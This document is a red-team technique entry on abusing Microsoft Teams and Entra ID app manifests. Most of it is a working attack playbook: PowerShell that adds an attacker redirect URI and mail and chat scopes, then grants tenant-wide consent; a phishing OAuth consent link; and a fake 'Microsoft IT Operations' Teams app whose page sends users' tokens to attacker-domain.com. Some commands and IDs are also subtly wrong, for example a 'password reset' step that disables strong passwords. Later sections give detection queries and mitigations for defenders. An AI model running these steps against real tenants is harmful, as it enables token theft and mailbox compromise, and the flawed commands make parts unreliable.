MCADDF

[LM-AUTH-018]: Teams App Manifest Authentication Abuse

1. Metadata Header

Attribute Details
Technique ID LM-AUTH-018
MITRE ATT&CK v18.1 T1550 - Use Alternate Authentication Material
Tactic Lateral Movement, Defense Evasion
Platforms M365 (Microsoft Teams, Microsoft 365)
Severity High
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All Teams Desktop Versions (Windows, macOS, Linux), Teams Web, Teams Mobile
Patched In Ongoing Microsoft investigations; partial mitigations in Teams 2024 Q4+
Author SERVTEPArtur Pchelnikau

2. Executive Summary

Concept: Microsoft Teams app manifests define how custom applications integrate with Teams, including authentication scopes, permissions, and API access. An attacker who gains access to Teams administrative controls or app registration configurations can manipulate manifest files to create malicious app integrations that intercept user credentials, steal session tokens, or establish unauthorized API access to Exchange Online, SharePoint, or Microsoft Graph. The manifest itself is JSON-formatted and stored in M365, defining critical authentication properties.

Attack Surface: The attack surface includes: (1) Teams app management portals accessible to Teams administrators and developers, (2) App registration manifests in Entra ID (Azure AD), (3) App permission grants and consent flows in Teams/Microsoft Graph, (4) Custom app upload functionality in Teams (if enabled), and (5) App configuration pages within Teams that authenticate users.

Business Impact: An attacker manipulating a Teams app manifest can intercept all OAuth tokens and credentials from users who interact with that app, potentially compromising entire mailboxes, SharePoint repositories, and sensitive project data. This attack enables persistent lateral movement across M365 tenants and can affect hundreds of users simultaneously if the malicious app is installed organization-wide.

Technical Context: Manifest manipulation typically takes 10-30 minutes to perform from initial app access, and the attack can persist for weeks or months if the malicious app remains undetected. Detection is challenging because the app appears legitimate and may mimic internal IT tools or productivity apps. The attack succeeds because Teams does not cryptographically sign manifest files, allowing modifications without immediate validation.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 6.1.2, 6.2.1 CIS Microsoft 365 Foundations Benchmark: Ensure external app access is restricted; ensure that only approved apps are allowed to access organizational data.
DISA STIG APP0140.1 STIG ID: Control approval processes for third-party application integrations and restrict application access to sensitive APIs.
CISA SCuBA M365-AT-1.1, M365-AT-1.2 Secure Configuration Baseline: Manage app permissions; disable custom app uploads unless required.
NIST 800-53 AC-3, AC-6, SI-4 Access Enforcement, Least Privilege, Information System Monitoring.
GDPR Art. 32 Security of Processing – Implement technical measures to protect personal data from unauthorized access via compromised applications.
DORA Art. 9 Protection and Prevention – Implement application security controls and risk management procedures.
NIS2 Art. 21 Cyber Risk Management Measures – Prevent unauthorized modifications to critical information systems and manage third-party access risks.
ISO 27001 A.6.2.1, A.9.2.3 Control of Internal Resources; Management of Privileged Access Rights.
ISO 27005 Risk Scenario: “Unauthorized modification of authentication mechanisms” Risk Management: Identify and mitigate unauthorized changes to identity and access controls.

3. Technical Prerequisites

Supported Versions:

Tools & Prerequisites:


4. Environmental Reconnaissance

Teams Admin Center / PowerShell Reconnaissance

# Check if user has Teams admin permissions
Get-MgContext
(Get-MgContext).Account

# List all Teams apps in the tenant
Get-MgAppCatalogTeamsApp

# Enumerate app registrations (requires Entra ID Admin role)
Get-MgApplication | Select-Object DisplayName, AppId, Identifiers

# Check app permissions granted
Get-MgApplication -ApplicationId "YOUR-APP-ID" | Select-Object DisplayName, Identifiers, ReplyUrls

# Check if sideloading of custom apps is enabled (Team-wide setting)
Get-TeamsMeetingConfiguration | Select-Object -Property *AllowCustomApps*

What to Look For:

Version Note: Commands differ slightly between Teams desktop app versions and Teams web client; PowerShell access to Teams admin center is the primary method.

Azure CLI / Entra ID Reconnaissance

# Authenticate to Azure
az login

# List all app registrations in the tenant
az ad app list --all --query "[].{Name:displayName, AppId:appId}"

# Get detailed manifest information for a specific app
az ad app show --id "<APP-ID>" --query "requiredResourceAccess"

# Check current user's roles
az role assignment list --assignee "@me"

What to Look For:


5. Detailed Execution Methods

Method 1: Manifest Modification via Entra ID Portal (Web-Based GUI)

Supported Versions: All Entra ID versions (2020+)

Step 1: Authenticate to Entra ID Admin Center

Objective: Gain authenticated access to the Entra ID application registration portal where app manifests can be edited.

Command (Web Interface):

  1. Navigate to https://portal.azure.com
  2. Go to Entra ID (left sidebar) → App registrations
  3. Select All applications tab to view all registered apps
  4. Click on the target app (e.g., an internal collaboration tool or third-party SaaS connector)

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Edit the App Manifest

Objective: Modify the application manifest to add malicious OAuth scopes and redirect URIs that will capture user tokens.

Manual Steps (GUI):

  1. In the app’s overview page, click Manifest (from top menu)
  2. Locate the replyUrls array. Add your attacker-controlled endpoint:
    "replyUrls": [
      "https://legitimate-microsoft-domain.com/callback",
      "https://attacker-domain.com/callback"   // NEW: Malicious endpoint
    ]
    
  3. Locate requiredResourceAccess. Add Microsoft Graph scopes for mail and chat interception:
    "requiredResourceAccess": [
      {
        "resourceAppId": "00000003-0000-0000-c000-000000000000",
        "resourceAccess": [
          {
            "id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",  // Scope: User.Read
            "type": "Scope"
          },
          {
            "id": "64b35f36-aaf0-453f-955e-23a08cbb24f3",  // Scope: Mail.ReadWrite
            "type": "Scope"
          },
          {
            "id": "339ff53d-9d0f-4b65-a59e-ad3a48da4f5b",  // Scope: Chat.ReadWrite
            "type": "Scope"
          }
        ]
      }
    ]
    
  4. Click Save (top menu button)

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

Objective: Ensure users grant (or are forced to grant) the new permissions so the app can access their tokens and mailboxes.

Manual Steps (GUI – Admin Consent):

  1. From the app’s manifest page, go back to Overview tab
  2. Click API permissions (left sidebar)
  3. For the newly added Microsoft Graph scopes, click Grant admin consent for [Tenant Name]
  4. This automatically consents on behalf of all users, bypassing individual consent dialogs

Alternative: User Consent Flow (if admin consent unavailable):

  1. Send affected users a phishing email with a link:
    https://login.microsoft.com/common/oauth2/v2.0/authorize?client_id=<ATTACKER-APP-ID>&scope=User.Read%20Mail.ReadWrite%20Chat.ReadWrite&response_type=code&redirect_uri=https://attacker-domain.com/callback
    
  2. Users click the link, see a legitimate Microsoft login page, and are prompted to consent to the app permissions.
  3. Upon consent, the authorization code is sent to the attacker’s redirect_uri.

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

Method 2: Manifest Manipulation via PowerShell / Microsoft Graph API

Supported Versions: All Entra ID versions; requires Microsoft Graph PowerShell module v1.0+

Step 1: Authenticate to Microsoft Graph with Delegated Permissions

Objective: Authenticate to Microsoft Graph API using a compromised admin account’s credentials.

Command:

# Install Microsoft Graph PowerShell module (if not already installed)
Install-Module Microsoft.Graph -Repository PSGallery -Force -AllowClobber

# Connect to Microsoft Graph with admin account
Connect-MgGraph -Scopes "Application.ReadWrite.All", "Directory.ReadWrite.All"

# Verify authentication
Get-MgContext

Expected Output:

Account                      : admin@contoso.onmicrosoft.com
TenantId                     : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Environment                  : Global
AppName                       : Microsoft Graph Command Line Tool
AppId                         : 14d82eec-204b-4c2f-b36e-b2f878264b33
ContextScope                  : CurrentUser

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Retrieve Target Application ID and Current Manifest

Objective: Identify the target app and extract its current manifest for modification.

Command:

# List all app registrations in the tenant
$apps = Get-MgApplication -All

# Display apps with their AppIds (to identify target)
$apps | Select-Object DisplayName, AppId | Format-Table -AutoSize

# Select the target app (e.g., "Teams Admin Bot")
$targetApp = Get-MgApplication -Filter "displayName eq 'Teams Admin Bot'"

# Extract the current manifest
$manifest = $targetApp | Select-Object -ExpandProperty Web

Write-Host "Current Reply URLs: $($manifest.RedirectUris)"
Write-Host "Current Resource Access: $(ConvertTo-Json $targetApp.RequiredResourceAccess)"

Expected Output:

DisplayName                              AppId
-----------------------------------      ------------------------------------
Teams Admin Bot                          a1b2c3d4-e5f6-7a8b-9c0d-e1f2a3b4c5d6
Compliance Scanner                       b2c3d4e5-f6a7-8b9c-0d1e-f2a3b4c5d6e7
Teams Meeting Bot                        c3d4e5f6-a7b8-9c0d-1e2f-a3b4c5d6e7f8

Current Reply URLs: 
  https://teams.microsoft.com/
  https://localhost:3000/callback

Current Resource Access: [{"ResourceAppId":"00000003-0000-0000-c000-000000000000","ResourceAccess":[{"Id":"e1fe6dd8-ba31-4d61-89e7-88639da4683d","Type":"Scope"}]}]

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Modify the Manifest to Add Malicious Scopes and Reply URLs

Objective: Update the app manifest to include the attacker’s redirect URI and expand OAuth scope requests.

Command:

# Define the malicious redirect URI
$maliciousRedirectUri = "https://mail-sync-update.azurewebsites.net/callback"

# Add the malicious URI to existing reply URLs
$newReplyUris = @($manifest.RedirectUris + $maliciousRedirectUri)

# Define the Mail.ReadWrite and Chat.ReadWrite resource access
$resourceAppId = "00000003-0000-0000-c000-000000000000"  # Microsoft Graph

$newRequiredResourceAccess = @{
    ResourceAppId = $resourceAppId
    ResourceAccess = @(
        @{
            Id   = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"  # User.Read
            Type = "Scope"
        },
        @{
            Id   = "64b35f36-aaf0-453f-955e-23a08cbb24f3"  # Mail.ReadWrite
            Type = "Scope"
        },
        @{
            Id   = "339ff53d-9d0f-4b65-a59e-ad3a48da4f5b"  # Chat.ReadWrite
            Type = "Scope"
        },
        @{
            Id   = "df01ed3b-eb73-4397-b9ba-44686bb5macb"  # ChannelMessage.ReadWrite.All
            Type = "Scope"
        }
    )
}

# Update the application with new manifest values
Update-MgApplication -ApplicationId $targetApp.Id `
  -Web @{ RedirectUris = $newReplyUris } `
  -RequiredResourceAccess $newRequiredResourceAccess

Write-Host "App manifest updated successfully!"

Expected Output:

App manifest updated successfully!

What This Means:

OpSec & Evasion:

Troubleshooting:

Objective: Automatically grant admin consent for the new scopes, bypassing individual user consent prompts.

Command:

# Grant admin consent for all required resource access
$principalId = (Get-MgServicePrincipal -Filter "appId eq '$($targetApp.AppId)'").Id

# Create OAuth2PermissionGrant for Mail.ReadWrite
$consentParams = @{
    ClientId    = $principalId
    ConsentType = "AllPrincipals"
    ResourceId  = (Get-MgServicePrincipal -Filter "displayName eq 'Microsoft Graph'").Id
    Scope       = "Mail.ReadWrite Chat.ReadWrite User.Read ChannelMessage.ReadWrite.All"
}

New-MgOAuth2PermissionGrant @consentParams

Write-Host "Admin consent granted for all scopes!"

Expected Output:

Admin consent granted for all scopes!

What This Means:

OpSec & Evasion:

Troubleshooting:

Method 3: Custom Teams App Upload with Malicious Manifest

Supported Versions: Teams Desktop and Web clients that allow custom app sideloading (default enabled for developers; often disabled for end users).

Step 1: Create a Malicious Teams App Manifest File

Objective: Create a Teams app manifest that requests excessive permissions and redirects authentication to an attacker-controlled endpoint.

File: manifest.json

{
  "$schema": "https://developer.microsoft.com/en-us/json-schemas/teams/v1.16/MicrosoftTeams.schema.json",
  "manifestVersion": "1.16",
  "version": "1.0.0",
  "id": "12345678-1234-1234-1234-123456789012",
  "name": {
    "short": "Teams Admin Audit Tool",
    "full": "Teams Administration & Audit Tool for Compliance"
  },
  "description": {
    "short": "Audit and monitor Teams compliance configurations",
    "full": "This tool helps IT administrators audit Teams settings, user activity, and compliance configurations for your organization."
  },
  "developer": {
    "name": "Microsoft IT Operations",
    "websiteUrl": "https://microsoft.com",
    "privacyUrl": "https://microsoft.com/privacy",
    "termsOfUseUrl": "https://microsoft.com/terms"
  },
  "icons": {
    "color": "color.png",
    "outline": "outline.png"
  },
  "accentColor": "#004578",
  "permissions": [
    "identity",
    "messageTeamMembers"
  ],
  "validDomains": [
    "*.microsoft.com",
    "teams.microsoft.com",
    "attacker-domain.com"
  ],
  "staticTabs": [
    {
      "entityId": "admin-tab",
      "name": "Administration",
      "contentUrl": "https://attacker-domain.com/admin.html",
      "websiteUrl": "https://attacker-domain.com",
      "scopes": [
        "personal",
        "team"
      ]
    }
  ],
  "authenticationProvider": {
    "id": "aad",
    "password": "YOUR-CLIENT-SECRET"
  },
  "webApplicationInfo": {
    "id": "12345678-1234-1234-1234-123456789012",
    "resource": "api://attacker-domain.com/12345678-1234-1234-1234-123456789012",
    "applicationPermissions": [
      "Mail.ReadWrite",
      "Chat.ReadWrite",
      "User.Read.All",
      "Directory.Read.All"
    ]
  }
}

What This Means:

OpSec & Evasion:

Step 2: Package and Upload the Malicious App to Teams

Objective: Create a ZIP file containing the manifest and supporting files, then upload it as a custom Teams app.

Command (Bash / Windows PowerShell):

# Create a directory structure for the app
mkdir -p teams-admin-app/images

# Copy manifest
cp manifest.json teams-admin-app/

# Create placeholder icons
printf '\x89PNG\r\n\x1a\n' > teams-admin-app/images/color.png
printf '\x89PNG\r\n\x1a\n' > teams-admin-app/images/outline.png

# Create the malicious HTML file (token interception)
cat > teams-admin-app/admin.html << 'EOF'
<!DOCTYPE html>
<html>
<head>
    <title>Teams Administration Tool</title>
    <script src="https://statics.teams.cdn.office.net/sdk/v1.10.0/js/microsoft.teams.min.js"></script>
</head>
<body>
    <h1>Loading Teams Administration Tool...</h1>
    <div id="loading">Initializing...</div>
    
    <script>
    // Initialize Teams SDK
    microsoftTeams.initialize();
    
    // Get authentication token (this contains user's access token)
    microsoftTeams.authentication.getAuthToken({
        silent: false,
        successCallback: (token) => {
            // Send the token to attacker's backend
            fetch('https://attacker-domain.com/api/token', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ token: token, user: microsoftTeams.getContext().userPrincipalName })
            })
            .then(r => r.json())
            .then(data => {
                // Redirect to legitimate Teams admin center to avoid suspicion
                window.location.href = 'https://admin.teams.microsoft.com';
            });
        },
        failureCallback: (error) => {
            document.getElementById('loading').innerHTML = 'Error initializing tool. Please try again.';
        }
    });
    </script>
</body>
</html>
EOF

# Create ZIP file
cd teams-admin-app
zip -r ../teams-admin-app.zip . 
cd ..

# Extract the app ID from manifest for reference
APP_ID=$(grep -o '"id": "[^"]*"' teams-admin-app/manifest.json | head -1 | cut -d'"' -f4)
echo "App ready for upload. ID: $APP_ID"

Expected Output:

App ready for upload. ID: 12345678-1234-1234-1234-123456789012

Manual Upload (GUI):

  1. Open Microsoft Teams (web or desktop)
  2. Click Apps (bottom left)
  3. Click Manage your apps (or Upload a custom app)
  4. Select the teams-admin-app.zip file
  5. Click OpenAdd
  6. The app now appears in your personal Teams apps and can be installed by other users

Alternative: Upload via Teams Admin Center (for org-wide distribution):

  1. Go to https://admin.teams.microsoft.com
  2. Navigate to Teams appsManage apps
  3. Click Upload new app
  4. Select the ZIP file
  5. Click Publish (once validated, the app becomes available org-wide)

What This Means:

OpSec & Evasion:

Troubleshooting:


6. Tools & Commands Reference

Microsoft Graph PowerShell Module

Version: 2.0+ Supported Platforms: Windows, macOS, Linux (with PowerShell 7+)

Installation:

Install-Module Microsoft.Graph -Scope CurrentUser -Force

Usage (Example: List all app registrations):

Connect-MgGraph -Scopes "Application.Read.All"
Get-MgApplication -All | Select-Object DisplayName, AppId

Teams Admin Center

Version: Web-based; no installation required Supported Platforms: All browsers (Edge, Chrome, Firefox, Safari)

Usage: Navigate to Teams appsManage appsUpload a custom app or Edit manifest


Entra ID Portal - App Registrations

Version: Web-based; no installation required Supported Platforms: All modern browsers

Usage: Navigate to Azure PortalEntra IDApp registrations → Select app → Manifest


7. Microsoft Sentinel Detection

Query 1: Suspicious App Manifest Modifications

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName == "Update application" or OperationName == "Update application - Certificates and secrets"
| where Result == "Success"
| extend ModifiedProperties = TargetResources[0].modifiedProperties
| extend AppId = tostring(TargetResources[0].id)
| where ModifiedProperties contains "requiredResourceAccess" or ModifiedProperties contains "replyUrls"
| project TimeGenerated, OperationName, InitiatedBy=tostring(InitiatedByUser.userPrincipalName), AppName=TargetResources[0].displayName, ModifiedProperties, ResultDescription
| summarize Count=count() by AppName, InitiatedBy, TimeGenerated
| where Count >= 1

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Suspicious App Manifest Modification
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
    • Group by: InitiatedBy, AppName
  7. Click Review + create

False Positive Analysis:


Rule Configuration:

KQL Query:

AuditLogs
| where OperationName == "Grant permission" or OperationName == "Consent to application"
| where Result == "Success"
| extend AppName = TargetResources[0].displayName
| extend Permission = TargetResources[0].modifiedProperties[0].newValue
| where Permission contains "Mail.ReadWrite" or Permission contains "Chat.ReadWrite" or Permission contains "ChannelMessage.ReadWrite"
| project TimeGenerated, AppName, InitiatedBy=tostring(InitiatedByUser.userPrincipalName), Permission, ResourceId=TargetResources[0].id
| summarize GrantCount=count(), PermissionsList=make_set(Permission) by AppName, InitiatedBy, TimeGenerated
| where GrantCount >= 1

What This Detects:

Manual Configuration Steps (PowerShell):

# Connect to Sentinel workspace
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "Unauthorized App Consent Grants" `
  -Query @'
AuditLogs
| where OperationName == "Grant permission" or OperationName == "Consent to application"
| where Result == "Success"
| extend AppName = TargetResources[0].displayName
| extend Permission = TargetResources[0].modifiedProperties[0].newValue
| where Permission contains "Mail.ReadWrite" or Permission contains "Chat.ReadWrite" or Permission contains "ChannelMessage.ReadWrite"
| project TimeGenerated, AppName, InitiatedBy=tostring(InitiatedByUser.userPrincipalName), Permission
'@ `
  -Severity "Critical" `
  -Enabled $true

8. Microsoft Defender for Cloud

Detection Alert 1: Suspicious API Permission Grant to Application

Alert Name: “Suspicious API permission grant to application”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Cloud Apps: ON
    • Defender for Identity: ON
  5. Click Save
  6. Go to Security alerts to view triggered alerts

Recommended Response:


9. Microsoft Purview (Unified Audit Log)

Operation: “Update application”, “Grant permission”, “Add app role assignment grant”

Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
  -Operations "Update application", "Grant permission" `
  -ResultSize 5000 | Export-Csv -Path "C:\Logs\AppManifestChanges.csv"

Details to Analyze:

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate
  5. To search: AuditSearch → Set date range → Select operations → Click SearchExport results

10. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Mitigations)

# Check if admin consent is disabled
Get-MgPolicyAuthorizationPolicy | Select-Object DefaultUserRolePermissions

# Check if sideloading is disabled
Get-CsTeamsAppSetupPolicy -Identity Global | Select-Object AllowSideLoadingOfExternalApps

# List all apps with Mail or Chat permissions
Get-MgApplication -All | Where-Object {
  $_.RequiredResourceAccess.ResourceAccess.Id -contains '64b35f36-aaf0-453f-955e-23a08cbb24f3' -or `
  $_.RequiredResourceAccess.ResourceAccess.Id -contains '339ff53d-9d0f-4b65-a59e-ad3a48da4f5b'
} | Select-Object DisplayName, AppId

Expected Output (If Secure):

DefaultUserRolePermissions: PermissionGrantPoliciesAssigned: {microsoft-user-default-low}
AllowSideLoadingOfExternalApps: False
DisplayName: (no results - no apps have Mail/Chat permissions)

What to Look For:


11. Detection & Incident Response

Indicators of Compromise (IOCs)

Files:

Registry:

Network:

Azure / M365:

Forensic Artifacts

Disk:

Cloud/Logs:

Memory:

Response Procedures

  1. Isolate:

    Command (Disable the malicious app):

    # Disable the app registration (prevent further authentication)
    Update-MgApplication -ApplicationId "<APP-ID>" -AccountEnabled $false
       
    # Revoke all active refresh tokens for the app
    Revoke-MgApplicationSignOutSession -ApplicationId "<APP-ID>"
    

    Manual (Azure Portal):

    • Go to Entra IDApp registrations → Select the malicious app → Properties → Set Enabled for users to sign-in to NoSave
  2. Collect Evidence:

    Command:

    # Export all app registrations (for forensics)
    Get-MgApplication -All | Export-Clixml -Path "C:\Evidence\Apps_$(Get-Date -Format yyyy-MM-dd).xml"
       
    # Export audit logs related to the app
    Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -FilterCausedBy "<MALICIOUS-APP-ID>" -ResultSize 10000 | Export-Csv -Path "C:\Evidence\AuditLogs.csv"
    
  3. Remediate:

    Command:

    # Force password reset for users who interacted with the app
    Get-MgUser -Filter "mail eq 'user@contoso.com'" | Update-MgUser -PasswordPolicies "DisablePasswordExpiration, DisableStrongPassword"
       
    # OR: Revoke all sessions for affected users
    Revoke-MgUserSignOutSession -UserId "user@contoso.com"
    

    Manual:

    • In Entra IDUsers → Select each affected user → Sign out all sessions

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-003] Logic App HTTP trigger abuse Attacker gains initial access to M365 environment via compromised Logic App.
2 Credential Access [CA-TOKEN-004] Graph API token theft Attacker steals a high-privileged service principal token.
3 Lateral Movement [LM-AUTH-018] Attacker manipulates Teams app manifest to create token interception mechanism.
4 Persistence [PERSIST-ACCT-005] Graph API Application Persistence Attacker creates additional app registrations to maintain persistent access.
5 Impact [CA-TOKEN-001] to [CA-TOKEN-011] Token Theft & M365 Compromise Attacker exfiltrates emails, Teams messages, and SharePoint data via stolen tokens.

13. Real-World Examples

Example 1: Storm-1674 / BEC Campaign Using Malicious Teams Apps (2024-2025)

Example 2: Scattered Spider Using nOAuth App Exploits (2024)


Summary

Teams app manifest manipulation is a highly effective and stealthy attack vector for lateral movement within M365 environments. By modifying app permissions and redirect URIs, attackers can capture user tokens and bypass traditional authentication controls. Organizations must implement robust app permission controls, regular app audits, and continuous monitoring to detect and respond to these attacks.